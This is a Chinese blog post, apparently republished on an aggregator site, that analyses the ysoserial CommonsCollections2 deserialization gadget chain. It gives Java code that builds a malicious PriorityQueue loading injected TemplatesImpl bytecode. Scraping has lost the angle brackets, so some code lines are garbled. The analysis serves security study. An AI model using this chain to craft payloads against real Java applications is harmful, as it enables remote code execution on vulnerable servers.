ysoserial CommonsCollections2 分析()

  本篇文章为你整理了ysoserial CommonsCollections2 分析()的详细内容,包含有procedure of stylistic analysis ysoserial CommonsCollections2 分析,希望能帮助你了解 ysoserial CommonsCollections2 分析。

  在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

  已知的TemplatesImpl- newTransformer()是最终要执行的。

  TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

  TemplatesImpl- newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

  cc2是针对commons-collections4版本,利用链如下:

  

/*

 

   Gadget chain:

   ObjectInputStream.readObject()

   PriorityQueue.readObject()

   TransformingComparator.compare()

   InvokerTransformer.transform()

   Method.invoke()

   Runtime.exec()

  

 

  所以在InvokerTransformer.transform()之后的利用如下:

  

public class CC2Test2 {

 

   public static void main(String[] args) throws Exception {

   TemplatesImpl templates = new TemplatesImpl();

   Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

   Field name = templates_cl.getDeclaredField("_name");

   name.setAccessible(true);

   name.set(templates,"xxx");

   Field transletIndex = templates_cl.getDeclaredField("_transletIndex");

   transletIndex.setAccessible(true);

   transletIndex.set(templates,0);

   byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));

   byte[][] codes = {code};

   //给_bytecodes赋值

   Field bytecodes = templates_cl.getDeclaredField("_bytecodes");

   bytecodes.setAccessible(true);

   bytecodes.set(templates,codes);

   //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap

   //_tfactorys是TransformerFactoryImpl类型的

   TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();

   Field tfactory = templates_cl.getDeclaredField("_tfactory");

   tfactory.setAccessible(true);

   tfactory.set(templates,transformerFactory);

   InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);

   transformer.transform(templates);

  

 

  一、InvokerTransformer.transform()的调用

  TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。

  

public class TransformingComparator I, O implements Comparator I , Serializable {

 

   private static final long serialVersionUID = 3456940356043606220L;

   private final Comparator O decorated;

   private final Transformer ? super I, ? extends O transformer;

   public TransformingComparator(Transformer ? super I, ? extends O transformer) {

   this(transformer, ComparatorUtils.NATURAL_COMPARATOR);

   public TransformingComparator(Transformer ? super I, ? extends O transformer, Comparator O decorated) {

   this.decorated = decorated;

   this.transformer = transformer;

   public int compare(I obj1, I obj2) {

   O value1 = this.transformer.transform(obj1);

   O value2 = this.transformer.transform(obj2);

   return this.decorated.compare(value1, value2);

  

 

  通过compare的调用

  

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);

 

  TransformingComparator transformingComparator = new TransformingComparator(transformer);

  transformingComparator.compare(null,templates);

  

 

  二、TransformingComparator.compare()的调用

  PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。

  那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。

  

public PriorityQueue(int initialCapacity,

 

   Comparator ? super E comparator) {

   // Note: This restriction of at least one is not actually needed,

   // but continues for 1.5 compatibility

   if (initialCapacity 1)

   throw new IllegalArgumentException();

   this.queue = new Object[initialCapacity];

   this.comparator = comparator;

  

 

  由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。

  

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);

 

  PriorityQueue Object priorityQueue = new PriorityQueue Object (2, transformingComparator);

  priorityQueue.add(1);

  priorityQueue.add(templates);

  

 

  但是由于在priorityQueue.add()方法中会调用siftUp()- siftUpUsingComparator()- comparator.compare()。

  priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。

  

TransformingComparator transformingComparator = new TransformingComparator(transformer);

 

  PriorityQueue Object priorityQueue = new PriorityQueue Object (2, transformingComparator);

  priorityQueue.add(1);

  priorityQueue.add(2);

  Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");

  iMethodName.setAccessible(true);

  iMethodName.set(transformer,"newTransformer");

  

 

  三、queue属性赋值

  transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。

  

private void writeObject(java.io.ObjectOutputStream s)

 

   throws java.io.IOException {

   for (int i = 0; i size; i++)

   s.writeObject(queue[i]);

  

 

  

private void readObject(java.io.ObjectInputStream s)

 

   throws java.io.IOException, ClassNotFoundException {

   for (int i = 0; i size; i++)

   queue[i] = s.readObject();

   heapify();

  

 

  通过反射修改queues[0],利用如下:

  

TransformingComparator transformingComparator = new TransformingComparator(transformer);

 

  PriorityQueue Object priorityQueue = new PriorityQueue Object (2, transformingComparator);

  priorityQueue.add(1);

  priorityQueue.add(2);

  Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");

  iMethodName.setAccessible(true);

  iMethodName.set(transformer,"newTransformer");

  Field queue = priorityQueue.getClass().getDeclaredField("queue");

  queue.setAccessible(true);

  Object[] queues = (Object[]) queue.get(priorityQueue);

  queues[0] = templates;

  //这里得替换queues[0]

  //如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。

  

 

  最终完整利用实现:

  

public class CC2Test2 {

 

   public static void main(String[] args) throws Exception {

   TemplatesImpl templates = new TemplatesImpl();

   Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

   Field name = templates_cl.getDeclaredField("_name");

   name.setAccessible(true);

   name.set(templates,"xxx");

   Field transletIndex = templates_cl.getDeclaredField("_transletIndex");

   transletIndex.setAccessible(true);

   transletIndex.set(templates,0);

   byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));

   byte[][] codes = {code};

   //给_bytecodes赋值

   Field bytecodes = templates_cl.getDeclaredField("_bytecodes");

   bytecodes.setAccessible(true);

   bytecodes.set(templates,codes);

   //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap

   //_tfactorys是TransformerFactoryImpl类型的

   TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();

   Field tfactory = templates_cl.getDeclaredField("_tfactory");

   tfactory.setAccessible(true);

   tfactory.set(templates,transformerFactory);

   InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

   TransformingComparator transformingComparator = new TransformingComparator(transformer);

   PriorityQueue Object priorityQueue = new PriorityQueue Object (2, transformingComparator);

   priorityQueue.add(1);

   priorityQueue.add(2);

   Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");

   iMethodName.setAccessible(true);

   iMethodName.set(transformer,"newTransformer");

   Field queue = priorityQueue.getClass().getDeclaredField("queue");

   queue.setAccessible(true);

   Object[] queues = (Object[]) queue.get(priorityQueue);

   queues[0] = templates;

   ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));

   objectOutputStream.writeObject(priorityQueue);

   ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));

   objectInputStream.readObject();

  

 

  以上就是ysoserial CommonsCollections2 分析()的详细内容,想要了解更多 ysoserial CommonsCollections2 分析的内容,请持续关注盛行IT软件开发工作室。

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

留言与评论(共有 条评论)
   
验证码: